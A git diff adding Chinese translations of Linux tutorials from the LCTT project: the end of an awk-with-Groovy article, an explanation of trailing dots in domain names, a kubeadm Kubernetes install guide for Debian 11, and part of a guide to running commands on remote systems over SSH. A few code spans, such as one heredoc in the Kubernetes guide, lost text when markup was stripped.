已经在很大程度上解决了这个问题,但它们仍然不能引用其范围之外的非 final 变量。 + +下面是另一个更有趣的脚本,它很容易让人想起我对 awk 的典型使用方式: + +``` +def ae = new AwkEngine(args, ';', true) +ae.onBegin = { +   // nothing to do here +} +def regionCount = [:] +   ae.onEachLine = { fields, recordNumber, fileName, fileRecordNumber -> +   regionCount[fields.REGION] = +   (regionCount.containsKey(fields.REGION) ? +   regionCount[fields.REGION] : 0) + +  (fields.PERSONAS as Integer) +} +ae.onEnd = { +   regionCount.each { region, population -> +   println “Region $region population $population” + } +} + +ae.go() +``` + +第 1 行调用了三个函数的构造方法,`true` 表示这是“真正的 CSV” 文件,第一行为标题。由于它是西班牙语的文件,因此它的逗号表示数字的`点`,标准的分隔符是分号。 + +第 2-4 行定义 `onBegin()` 闭包,这里什么也不做。 + +第 5 行定义一个(空的)`LinkedHashmap`,键是 String 类型,值是 Integer 类型。数据文件来自于智利最近的人口普查,你要在这个脚本中计算出智利每个地区的人口数量。 + +第 6-11 行处理文件中的行(加上标题一共有 180,500 行)—— 请注意在这个案例中,由于你定义 第 1 行为 CSV 列的标题,因此 `fields` 参数会成为 `LinkedHashMap` 实例。 + +第 7-10 行是 `regionCount` 映射计数增加,键是 `REGION` 字段的值,值是 `PERSONAS` 字段的值 —— 请注意,与 awk 不同,在 Groovy 中你不能在赋值操作的右边使用一个不存在的映射而期望得到空值或零值。 + +第 12-16 行,打印每个地区的人口数量。 + +第 17 行运行脚本,调用 `AwkEngine` 。 + +像下面一样运行一下脚本: + +``` +$ groovy Test2Awk.groovy ~/Downloads/Censo2017/ManzanaEntidad_CSV/Censo*csv +Region 1 population 330558 +Region 2 population 607534 +Region 3 population 286168 +Region 4 population 757586 +Region 5 population 1815902 +Region 6 population 914555 +Region 7 population 1044950 +Region 8 population 1556805 +Region 16 population 480609 +Region 9 population 957224 +Region 10 population 828708 +Region 11 population 103158 +Region 12 population 166533 +Region 13 population 7112808 +Region 14 population 384837 +Region 15 population 226068 +$ +``` + +以上为全部内容。对于那些喜欢 awk 但又希望得到更多的东西的人,我希望你能喜欢这种 Groovy 的方法。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/awk-groovy + +作者:[Chris Hermansen][a] +选题:[lkxed][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_screen_windows_files.png +[2]: https://opensource.com/article/22/8/music-tagging-framework-groovy +[3]: https://opensource.com/downloads/awk-ebook +[4]: http://regex.info/blog/2006-09-15/247 +[5]: http://opencsv.sourceforge.net/ +[6]: https://groovy.apache.org/download.html +[7]: https://opensource.com/article/22/3/manage-java-versions-sdkman +[8]: https://mvnrepository.com/artifact/com.opencsv/opencsv diff --git a/published/202211/20220912 Why do domain names sometimes end with a dot.md b/published/202211/20220912 Why do domain names sometimes end with a dot.md new file mode 100644 index 0000000000..f8ed0a81d4 --- /dev/null +++ b/published/202211/20220912 Why do domain names sometimes end with a dot.md @@ -0,0 +1,231 @@ +[#]: subject: "Why do domain names sometimes end with a dot?" +[#]: via: "https://jvns.ca/blog/2022/09/12/why-do-domain-names-end-with-a-dot-/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15254-1.html" + +为什么有时候域名的末尾有个点? +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/15/001222ytut3qvtau32f2p2.jpg) + +大家好!今年早些时候,我在写《[DNS 是如何工作的][1]》 时,有人问我——为什么人们有时在域名的末尾加一个点?例如,如果你通过运行 `dig example.com` 查询 `example.com` 的 IP,你会看到一下内容: + +``` +$ dig example.com +example.com. 5678 IN A 93.184.216.34 +``` + +执行完 `dig` 命令后,`example.com` 有一个 `.` ——变成了 `example.com.`!发生了什么? + +有些 DNS 工具也要求传给它的域名后加一个 `.`:如果你在使用 [miekg/dns][2] 时传给它 `example.com`,它会报错: + +``` +// trying to send this message will return an error +m := new(dns.Msg) +m.SetQuestion("example.com", dns.TypeA) +``` + +最初我以为我知道这个问题的答案(“呃,末尾的点意味着域名是完全限定的?”)。这是对的 —— 一个完全限定域名fully qualified domain name(FQDN)是一个末尾有 `.` 的域名! + +但是*为什么*末尾的点是有用且重要的呢? + +### 在 DNS 的请求/响应中,域名的末尾并没有 “.” + +我曾经(错误地)认为 “为什么末尾有一个点?”的答案可能是 “在 DNS 请求/响应中,域名末尾有一个 `.`,所以我们把它放进去,以匹配你的计算机实际发送/接收的内容”。但事实并不是这样! + +当计算机发送 DNS 请求/响应时,域名的末尾并没有点。实际上,域名中*没有*点。 + +域名会被编码成一系列的长度/字符串对。例如,域名 `example.com` 被编码为这 13 个字节。 + +``` +7example3com0 +``` + +编码后的内容一个点也没有。一个 ASCII 域名(如 `example.com`)被转成了各种 DNS 软件的 DNS 请求/响应中使用的格式。 + +今天我们来讨论域名被转成 DNS 响应的一个地方:区域文件。 + +### 区域文件中域名末尾的 “.” + +一些人管理域名的 DNS 记录的方法是创建一个被称为 “区域文件” 的文本文件,然后配置一些 DNS 服务器软件(如 `nsd` 或 `bind`)来为该区域文件中指定的 DNS 记录提供服务。 + +下面是一个对应 `example.com` 的示例区域文件: + +``` +orange 300 IN A 1.2.3.4 +fruit 300 IN CNAME orange +grape 3000 IN CNAME example.com. +``` + +在这个文件中,任何不以 `.` 结尾的域名(比如 `orange`)后都会自动加上 `.example.com`。所以 `orange` 成了 `orange.example.com` 的简称。DNS 服务器从它的配置中得知这是一个 `example.com` 的区域文件,所以它知道在所有不以点结尾的名字后面自动添加 `example.com`。 + +我想这里的想法只是为了少打几个字符——如果要打出全称,区域文件会是这样: + +``` + + orange.example.com. 300 IN A 1.2.3.4 + fruit.example.com. 300 IN CNAME orange.example.com. + grape.example.com. 3000 IN CNAME example.com. + +``` + +确实多了很多字符。 + +### 你也可以不通过区域文件来使用 DNS + +尽管官方的 DNS RFC([RFC 1035][3])中定义了区域文件格式,但你也可以不通过区域文件来使用 DNS。例如,AWS Route 53 就不用区域文件来存储 DNS 记录!你可以通过 Web 界面或 API 来创建记录,我猜他们是用某种数据库而不是一堆文本文件来存储记录。 + +不过,Route 53(像许多其他 DNS 工具一样)确实支持导入和导出区域文件,这个功能或许在你更换 DNS 提供商时很有用。 + +### dig 命令输出中末尾的 “.” + +现在我们来讨论下 `dig` 命令的输出: + +``` +$ dig example.com +; <<>> DiG 9.18.1-1ubuntu1.1-Ubuntu <<>> +all example.com +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10712 +;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 65494 +;; QUESTION SECTION: +;example.com. IN A + +;; ANSWER SECTION: +example.com. 81239 IN A 93.184.216.34 +``` + +有一件奇怪的事是,几乎每一行都以 `;;` 开头,这是怎么回事?`;` 是区域文件中的注释字符! + +我想 `dig` 以这种奇怪的方式输出的原因可能是为了方便你粘贴这些内容到区域文件时,不用修改就可以直接用。 + +这也是 `example.com` 末尾有个 `.` 的原因 —— 区域文件要求域名末尾必须有点(否则它们会被解释为是相对于该区域的)。因此 `dig` 也这么处理了。 + +我真的希望 dig 有一个 `+human` 选项,以更人性化的方式打印出这些信息,但现在我太懒了,懒得花工夫去实际贡献代码来做这件事(而且我并不擅长 C),所以我只能在我的博客上抱怨一下 :) + +### curl 命令输出中末尾的 “.” + +我们来看下另一个末尾有 `.` 的例子:`curl`! + +我家里有台计算机名为 `grapefruit`,其上运行着 Web 服务器。当我执行 `curl grapefruit` 时,会输出: + +``` +$ curl grapefruit + + + + +...... +``` + +这样运行没问题!但是如果我在域名后加一个 `.` 会怎样呢?它报错了: + +``` +$ curl grapefruit. +curl: (6) Could not resolve host: grapefruit. +``` + +发生了什么?为了搞清楚,我们需要先来学习下搜索域: + +### 初识搜索域 + +当我执行 `curl grapefrult` 时,它是怎么被转成一个 DNS 请求的?你可能会认为我的计算机会向域名 `grapefruit` 发送一个请求,对吗?但事实并不是这样。 + +让我们用 `tcpdump` 来看看到底是什么域名在被查询。 + +``` +$ sudo tcpdump -i any port 53 +[...] A? grapefruit.lan. (32) +``` + +实际上是向 `grapefruit.lan.` 发送的请求。为什么呢? + +解释一下: + + 1. `curl` 调用函数 `getaddrinfo` 来查询 `grapefruit` + 2. `getaddrinfo` 查询了我计算机上的文件 `/etc/resolv.conf` + 3. `/etc/resolv.conf` 包含两行内容: + ``` + nameserver 127.0.0.53 + search lan + ``` + 4. 因为有 `search lan` 这行内容,所以 `getaddrinfo` 在 `grapefruit` 的末尾添加了一个 `lan`,去查询 `grapefruit.lan` + +### 什么时候搜索域被使用? + +现在我们知道了一些奇怪的事情:当我们查询一个域名时,有时会有一个额外的东西(如 `lan`)被加到最后。但是什么时候会发生这种情况呢? + + 1. 如果我们在域名**末尾**添加一个 `.`,那么这时不会用到搜索域 + 2. 如果域名**中间包含**一个 `.`(如 `example.com`),那么默认也不会用到搜索域。但是可以通过修改配置来改变处理逻辑(在 [ndots][4] 里有更详细的说明) + +我们现在知道了 `curl grapefruit.` 与 `curl grapefruit` 结果不一样的原因——因为一个查询的是 `grapefruit.`,而另一个查询的是 `grapefruit.lan.`。 + +### 我的计算机怎么知道使用哪个搜索域呢? + +当我连接路由时,它会通过 DHCP 告诉我它的搜索域是 `lan` —— 它也是通过这个方式给我的计算机分配 IP。 + +### 所以为什么要在域名末尾加一个点呢? + +现在我们已经了解了区域文件和搜索域,下面是我认为的人们要在域名末尾加点的原因: + +有两种情况下,域名会被修改,并在末尾添加其他东西。 + + * 在 `example.com` 的区域文件中,`grapefruit` 会被转为 `grapefruit.example.com` + * 在我的本地网络(我的计算机已经配置了使用搜索域 `lan`),`grapefruit` 被转为 `grapefruit.lan` + +因此,由于域名在某些情况下实际上可能被转成其他名字,人们就在结尾处加一个 `.`,以此来表示 “**这是域名,末尾不需要添加任何东西,这就是全部内容**”。否则会引起混乱。 + +“这就是全部内容”的技术术语是**“完全限定域名”**,简称为**“FQDN”**。所以 `google.com.` 是一个完全限定域名,而 `google.com` 不是。 + +我总是要提醒自己这样做的原因,因为我很少使用区域文件和搜索域,所以我经常觉得——“我当然是指 `google.com` 而不是 `google.com.something.else`! 我为什么要指其他东西?那太傻了!” + +但是有些人确实在使用区域文件和搜索域(例如 Kubernetes 中使用了搜索域!),所以结尾的 `.` 很有用,可以让人确切的知道,不应该再添加其他东西。 + +### 什么时候在末尾添加 “.”? + +以下是关于何时在域名末尾加 ". " 的几个简单说明: + +**需要添加:配置 DNS 时** + +在配置 DNS 时,使用完全限定域名从来都不是坏事。你不一定要这样做:非完全限定域名通常也能正常工作,但我从来没有遇到过不接受完全限定域名的 DNS 软件。 + +有些 DNS 软件需要这样做:现在我为 `jvns.ca` 使用的 DNS 服务器让我在域名的末尾加上 `.`(例如在 CNAME 记录中),并提示如果我不添加,它将在我输入的内容末尾加上 `.jvns.ca`。我不同意这个设计决定,但这不是什么大问题,我只是在最后加一个 `.`。 + +**不需要加:在浏览器中** + +令人困惑的是,在浏览器中,在域名结尾处加一个 `.` *不能*正常运行。例如,如果我在浏览器中输入 `https://twitter.com.`,它就会报错。它会返回 404。 + +我认为这里发生的事情是,它将 HTTP `Host` 标头设置为 `Host:twitter.com.`,而对端的 Web 服务器则期望 `Host:twitter.com`。 + +同样地,`https://jvns.ca.` 由于某种原因,返回了一个 SSL 错误。 + +### 我认为相对域名在过去是比较常见的 + +最后一件事:我认为“相对”域名(比如我用 `grapefruit` 来指代我家的另一台计算机 `grapefruit.lan`)在过去更常用,因为 DNS 是在大学或其他有大型内部网络的大机构中开发的。 + +在今天的互联网上,使用“绝对”域名(如 `example.com`)似乎更为普遍。 + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/09/12/why-do-domain-names-end-with-a-dot-/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://wizardzines.com/zines/dns/ +[2]: https://github.com/miekg/dns +[3]: https://www.rfc-editor.org/rfc/rfc1035#section-4.1.1 +[4]: https://pracucci.com/kubernetes-dns-resolution-ndots-options-and-why-it-may-affect-application-performances.html diff --git a/published/202211/20220916 How to Install Kubernetes Cluster on Debian 11 with Kubeadm.md b/published/202211/20220916 How to Install Kubernetes Cluster on Debian 11 with Kubeadm.md new file mode 100644 index 0000000000..dd56f79b7c --- /dev/null +++ b/published/202211/20220916 How to Install Kubernetes Cluster on Debian 11 with Kubeadm.md @@ -0,0 +1,323 @@ +[#]: subject: "How to Install Kubernetes Cluster on Debian 11 with Kubeadm" +[#]: via: "https://www.linuxtechi.com/install-kubernetes-cluster-on-debian/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15302-1.html" + +如何用 Kubeadm 在 Debian 11 上安装 Kubernetes 集群 +====== + +![][0] + +> 你是否在寻找一份在 Debian 11(Bullseye)上安装 Kubernetes 集群的简易指南? + +这份分步指南将向你展示如何使用 Kubeadm 工具在 Debian 11 上安装 Kubernetes 集群。 + +Kubernetes(k8s)集群包含主控节点和工作节点,用于运行容器化的应用程序。主控节点作为控制平面,工作节点为实际工作负载提供环境。 + +前置条件: + +* 已安装 Debian 11 +* 2 CPU / vCPU +* 2 GB RAM +* 20 GB 空闲硬盘空间 +* 有管理员权限的 sudo 用户 +* 稳定的网络连接 + +实验环境配置: + +在本文中,我使用了 3 个 Debian 11 系统的节点,配置如下 + +* 主控节点(`k8s-master`) – 192.168.1.236 +* 工作节点 1(`k8s-worker1`) – 192.168.1.237 +* 工作节点 2(`k8s-worker2`) – 192.168.1.238 + +事不宜迟,我们直接进入安装步骤。 + +### 1、设置主机名和更新 /etc/hosts 文件 + +在主控节点和工作节点上使用 `hostnamectl` 命令来设置主机名: + +``` +$ sudo hostnamectl set-hostname "k8s-master"       // 在主控节点运行 +$ sudo hostnamectl set-hostname "k8s-worker1"      // 在工作节点 1 运行 +$ sudo hostnamectl set-hostname "k8s-worker2"      // 在工作节点 2 运行 +``` + +在所有节点的 `/etc/hosts` 文件末尾添加下面几行内容: + +``` +192.168.1.236       k8s-master +192.168.1.237       k8s-worker1 +192.168.1.238       k8s-worker2 +``` + +### 2、在所有节点上关闭交换分区 + +我推荐关闭交换分区,以便更丝滑地使用 `kubelet`。在所有节点上执行以下命令来关闭交换分区: + +``` +$ sudo swapoff -a +$ sudo sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab +``` + +### 3、配置 Kubernetes 集群相关的防火墙规则 + +如果你的操作系统防火墙是打开的,请分别在主控节点和工作节点允许以下的端口。 + +在主控节点,执行: + +``` +$ sudo ufw allow 6443/tcp +$ sudo ufw allow 2379/tcp +$ sudo ufw allow 2380/tcp +$ sudo ufw allow 10250/tcp +$ sudo ufw allow 10251/tcp +$ sudo ufw allow 10252/tcp +$ sudo ufw allow 10255/tcp +$ sudo ufw reload +``` + +在工作节点,执行: + +``` +$ sudo ufw allow 10250/tcp +$ sudo ufw allow 30000:32767/tcp +$ sudo ufw reload +``` + +注意:如果你的 Debian 11 系统防火墙是关闭的,可以跳过此步骤。 + +### 4、在所有节点安装 Containerd 运行时 + +Containerd 是容器运行时的行业标准,所有节点必须安装 Containerd。 + +先在所有节点上配置如下的核心参数,再安装 Containerd。 + +``` +$ cat </dev/null 2>&1 +``` + +在所有节点上设置 `cgroupdriver` 为 `systemd`,编辑 `/etc/containerd/config.toml` 文件,找到 `[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc.options]` 部分,添加一行内容:`SystemdCgroup = true`: + +``` +$ sudo vi /etc/containerd/config.toml +``` + +![systemdCgroup-true-containerd-config-toml][1] + +保存并退出文件。 + +在所有节点上重启并启用 `containerd` 服务: + +``` +$ sudo systemctl restart containerd +$ sudo systemctl enable containerd +``` + +### 5、添加 Kubernetes Apt 库 + +执行以下命令,添加 Kubernetes Apt 库: + +``` +$ sudo apt install gnupg gnupg2 curl software-properties-common -y +$ curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo gpg --dearmour -o /etc/apt/trusted.gpg.d/cgoogle.gpg +$ sudo apt-add-repository "deb http://apt.kubernetes.io/ kubernetes-xenial main" +``` + +### 6、在所有节点上安装 kubelet、kubectl 和 kubeadm + +在所有节点上执行以下 `apt` 命令,安装 Kubernetes 集群组件,如 `kubelet`、`kubectl` 以及 `kubeadm`。 + +``` +$ sudo apt update +$ sudo apt install kubelet kubeadm kubectl -y +$ sudo apt-mark hold kubelet kubeadm kubectl +``` + +### 7、使用 Kubeadm 创建 Kubernetes 集群 + +现在我们可以创建 Kubernetes 集群了,在主控节点上执行以下命令: + +``` +$ sudo kubeadm init --control-plane-endpoint=k8s-master +``` + +命令输出: + +![Kubernetes-Control-Plane-Initialization-Debian11][2] + +出现以上内容,说明控制平面初始化成功。在输出中,有普通用户与集群交互的命令,也有把任何工作节点加入到集群的命令。 + +要开始与集群进行交互,请在主控节点上运行以下命令: + +``` +$ mkdir -p $HOME/.kube +$ sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config +$ sudo chown $(id -u):$(id -g) $HOME/.kube/config +``` + +执行以下 `kubectl` 命令来获取节点和集群的信息: + +``` +$ kubectl get nodes +$ kubectl cluster-info +``` + +以上命令的输出: + +![Nodes-Cluster-Info-Kubectl][3] + +通过执行 `kubeadm join` 命令来把两个工作节点加入到集群。 + +注意:请从 `kubeadm init` 命令的输出中复制完整的命令。在我的例子中,命令如下: + +``` +$ sudo kubeadm join k8s-master:6443 --token ta622t.enl212euq7z87mgj \ +   --discovery-token-ca-cert-hash sha256:2be58f54458d0e788c96b8841f811069019161f9a3dd8502a38c773e5c6ead17 +``` + +在工作节点 1 上的输出如下: + +![Worker-Node1-Join-Kunernetes-Cluster][4] + +在工作节点 2 上的输出如下: + +![Worker-Node2-Join-Kubernetes-Cluster][5] + +在主控节点上执行以下命令,检查节点的状态: + +``` +$ kubectl get nodes +NAME          STATUS     ROLES           AGE     VERSION +k8s-master    NotReady   control-plane   23m     v1.25.0 +k8s-worker1   NotReady             9m27s   v1.25.0 +k8s-worker2   NotReady             2m19s   v1.25.0 +$ +``` + +为了使节点状态变为 `ready`,我们需要安装容器荚Pod网络插件,如 Calico 或 flannel。 + +### 8、安装 Calico Pod 网络插件 + +在主控节点上执行以下命令安装 Calico: + +``` +$ kubectl apply -f https://projectcalico.docs.tigera.io/manifests/calico.yaml +``` + +输出: + +![Install-calico-pod-network-addon-debian11][6] + +在所有节点上执行以下命令,配置防火墙允许 Calico 的端口: + +``` +$ sudo ufw allow 179/tcp +$ sudo ufw allow 4789/udp +$ sudo ufw allow 51820/udp +$ sudo ufw allow 51821/udp +$ sudo ufw allow 4789/udp +$ sudo ufw reload +``` + +执行以下命令检查下 Calico 的状态: + +``` +$ kubectl get pods -n kube-system +``` + +![Calico-Pods-Status-Kuberenetes-Debian11][7] + +完美!现在再检查下节点状态: + +![Nodes-status-after-calico-Installation][8] + +非常棒!上面的输出说明主控节点和工作节点的状态都是 `ready`。现在这个集群可以正常工作了。 + +### 9、检查 Kubernetes 集群安装是否正确 + +我们尝试通过 `deployment` 命令来部署基于 Nginx 的应用程序,来验证 Kubernetes 集群的安装是否正确。执行以下命令: + +``` +$ kubectl create deployment nginx-app --image=nginx --replicas 2 +$ kubectl expose deployment nginx-app --name=nginx-web-svc --type NodePort --port 80 --target-port 80 +$ kubectl describe svc nginx-web-svc +``` + +以上命令的输出: + +![Nginx-Based-App-Kubernetes-Cluster-Debian11][9] + +使用以下的 `curl` 命令通过节点端口 30036 来访问基于 nginx 的应用程序。 + +注意:在 `curl` 命令中,可以使用两个工作节点任一的主机名。 + +``` +$ curl http://k8s-worker1:30036 +``` + +![Access-Nginx-Based-App-via-NodePort-Kubernetes-Debian11][10] + +以上的输出说明我们可以正常访问基于 nginx 的应用程序了。 + +以上为全部内容。希望本文对你有用,参照本文可以在 Debian 11 上正常安装 Kubernetes 集群。如有任何问题,请在下面评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/install-kubernetes-cluster-on-debian/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/09/systemdCgroup-true-containerd-config-toml.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Kubernetes-Control-Plane-Initialization-Debian11.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Nodes-Cluster-Info-Kubectl.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Worker-Node1-Join-Kunernetes-Cluster.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Worker-Node2-Join-Kubernetes-Cluster.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Install-calico-pod-network-addon-debian11.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Calico-Pods-Status-Kuberenetes-Debian11.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Nodes-status-after-calico-Installation.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Nginx-Based-App-Kubernetes-Cluster-Debian11.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Access-Nginx-Based-App-via-NodePort-Kubernetes-Debian11.png +[0]: https://img.linux.net.cn/data/attachment/album/202211/30/091928zlxbvttw58x6rztw.jpg \ No newline at end of file diff --git a/published/202211/20220929 Execute Commands On Remote Linux Systems Via SSH.md b/published/202211/20220929 Execute Commands On Remote Linux Systems Via SSH.md new file mode 100644 index 0000000000..7a457748e9 --- /dev/null +++ b/published/202211/20220929 Execute Commands On Remote Linux Systems Via SSH.md @@ -0,0 +1,354 @@ +[#]: subject: "Execute Commands On Remote Linux Systems Via SSH" +[#]: via: "https://ostechnix.com/execute-commands-on-remote-linux-systems-via-ssh/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15263-1.html" + +通过 SSH 在远程 Linux 系统上执行命令 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/17/163910g9u42ssfcuk9c290.jpg) + +> 通过安全的网络连接在远程计算机上调用命令或程序。 + +有一天,我正在测试如何在 [将文件或目录复制到多个位置和系统时保持完整的文件权限][1]。当我想检查远程系统上的文件权限时,我必须通过 SSH 登录它并检查属性。从远程系统多次登录和注销的过程让我有点烦,我想,如果我可以**在远程 Linux 系统上通过 SSH 执行命令**就好了。 + +幸运的是,在浏览了 `ssh` 命令的手册页后,我找到了一个解决办法。 + +如果你想知道如何本地运行远程系统上运行命令或脚本,而不登录到远程系统,下面的内容会告诉你如何做。 + +### 1、通过 SSH 在远程 Linux 系统上执行命令 + +从本地系统通过 SSH 在远程系统上运行命令或脚本的典型方法是: + +``` +$ ssh +``` + +允许我给你们举几个例子: + +#### 1.1、通过 SSH 在远程系统上运行单个命令 + +假设你想要 [查找远程 Linux 系统的内核详细信息][2]。为此,只需运行: + +``` +$ ssh sk@192.168.225.22 uname -a +``` + +这里, + +* `sk` 是远程系统的用户名, +* `192.168.225.22` 是远程系统的 IP 地址, +* `uname -a` 是我想在远程系统上运行的命令。 + +示例输出: + +![通过 SSH 在远程 Linux 系统上执行命令][3] + +看到没?我并没有实际登录到远程系统,但通过 SSH 在远程系统上执行了 `uname` 命令,并在本地系统的终端上显示了输出。 + +你还可以像下面这样用引号指定命令。 + +``` +$ ssh sk@192.168.225.22 "uname -a" +``` + +或者, + +``` +$ ssh sk@192.168.225.22 'uname -a' +``` + +如果你已经 [更改了 SSH 协议的默认端口][4],只需使用 `-p` 参数指定它。 + +``` +$ ssh -p 2200 sk@192.168.225.22 uname -a +``` + +#### 1.2、通过 SSH 在远程主机上执行多个命令 + +你还可以在远程主机上运行多个命令,方法是将它们放在引号中。 + +``` +$ ssh sk@192.168.225.22 "uname -r && lsb_release -a" +``` + +或者: + +``` +$ ssh sk@192.168.225.22 "uname -r ; lsb_release -a" +``` + +上面的命令将显示我的 Ubuntu 服务器的内核版本和发行版详细信息。 + +示例输出: + +![在 Linux 上通过 SSH 在远程主机上运行多个命令][5] + +正如一位读者在下面的评论部分提到的那样,你应该用引号指定多个命令。如果不使用引号,第一个命令将在远程系统上执行,第二个命令将仅在本地计算机上执行。整个带引号的命令将按预期在远程计算机上运行。 + +> **提示:** 了解 `&&` 和 `;` 在命令中的区别: +> +> `&&` 操作符只有在第一个命令成功时才执行第二个命令。 +> +> 示例: +> +> ``` +> sudo apt-get update && sudo apt-get upgrade +> ``` +> +> 在上述示例中,如果第一个命令成功,才会执行 `sudo apt-get upgrade`。否则,它将不会运行。 +> +> `;` 操作符会执行第二个命令,无论第一个命令是成功还是失败。 +> +> 示例: +> +> ``` +> sudo apt-get update ; sudo apt-get upgrade +> ``` +> +> 在上述示例中,即使第一个命令失败,`sudo apt-get upgrade` 也会执行。 + +#### 1.3、通过 SSH 在远程机器上调用有 sudo 权限的命令 + +有些命令需要 `sudo` 权限才能运行。例如,以下命令将在我的远程系统上安装 `apache2`。 + +``` +$ ssh -t sk@192.168.225.22 sudo apt install apache2 +``` + +示例输出: + +![通过 SSH 在远程机器上运行有 Sudo 权限的命令][6] + +注意到了吗?我在上面的命令中使用了 `-t` 标志,我们需要使用它来强制进行伪终端分配。它用于在远程机器上执行任意基于屏幕的程序,这非常有用。例如,在实现菜单服务时。 + +另外,我输入了**两次**密码。第一次是远程用户的密码,以便从本地系统通过 SSH 访问远程系统,第二次是为了向远程用户赋予 sudo 权限,以便安装应用程序(在本例中为 apache2)。 + +让我们用以下命令检查 Apache 服务是否正在运行: + +``` +$ ssh -t sk@192.168.225.22 sudo systemctl status apache2 +sk@192.168.225.22's password: +[sudo] password for sk: +● apache2.service - The Apache HTTP Server +Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled) +Drop-In: /lib/systemd/system/apache2.service.d +└─apache2-systemd.conf +Active: active (running) since Thu 2019-12-19 11:08:03 UTC; 52s ago +Main PID: 5251 (apache2) +Tasks: 55 (limit: 2318) +CGroup: /system.slice/apache2.service +├─5251 /usr/sbin/apache2 -k start +├─5253 /usr/sbin/apache2 -k start +└─5254 /usr/sbin/apache2 -k start + +Dec 19 11:08:03 ubuntuserver systemd[1]: Starting The Apache HTTP Server... +Dec 19 11:08:03 ubuntuserver apachectl[5227]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 2409:4072:51f:a1b6:a00:27ff:f +Dec 19 11:08:03 ubuntuserver systemd[1]: Started The Apache HTTP Server. +``` + +同样的,我们可以通过 SSH 在本地系统上运行远程系统上的任何命令或脚本。 + +#### 1.4、通过 SSH 在远程系统上运行本地脚本 + +让我们在本地系统上创建一个简单的脚本来显示关于远程系统的发行版名称、包管理和基本细节等。 + +``` +$ vi system_information.sh +``` + +添加以下行: + +``` +#!/bin/bash +#Name: Display System Details +#Owner: OSTechNIx +#---------------------------- +echo /etc/*_ver* /etc/*-rel*; cat /etc/*_ver* /etc/*-rel* +``` + +按下 `ESC` 键,输入 `:wq` 保存退出。 + +现在,通过 SSH 命令在远程系统上运行这个脚本: + +``` +$ ssh sk@192.168.225.22 'bash -s' < system_information.sh +``` + +示例输出: + +``` +sk@192.168.225.22's password: +/etc/debian_version /etc/lsb-release /etc/os-release +buster/sid +DISTRIB_ID=Ubuntu +DISTRIB_RELEASE=18.04 +DISTRIB_CODENAME=bionic +DISTRIB_DESCRIPTION="Ubuntu 18.04.2 LTS" +NAME="Ubuntu" +VERSION="18.04.2 LTS (Bionic Beaver)" +ID=ubuntu +ID_LIKE=debian +PRETTY_NAME="Ubuntu 18.04.2 LTS" +VERSION_ID="18.04" +HOME_URL="https://www.ubuntu.com/" +SUPPORT_URL="https://help.ubuntu.com/" +BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" +PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" +VERSION_CODENAME=bionic +UBUNTU_CODENAME=bionic +``` + +如果你没有在上面的命令中指定 `bash -s`,你将获得远程系统的详细信息,但伪终端不会被分配。 + +#### 1.5、将远程主机的命令输出保存到本地主机 + +如果你希望与支持团队或同事共享远程系统上运行的命令输出,那么这非常有用。 + +以下命令将通过 SSH 在远程系统运行 `du -ah`,并将输出保存在本地系统的 `diskusage.txt` 文件中。 + +``` +$ ssh sk@192.168.225.22 du -ah > diskusage.txt +``` + +然后,你可以通过使用 `cat` 命令或文本编辑器查看 `diskusage.txt` 文件来分析磁盘使用细节。 + +``` +$ cat diskusage.txt +4.0K ./.profile +4.0K ./.gnupg/private-keys-v1.d +8.0K ./.gnupg +76K 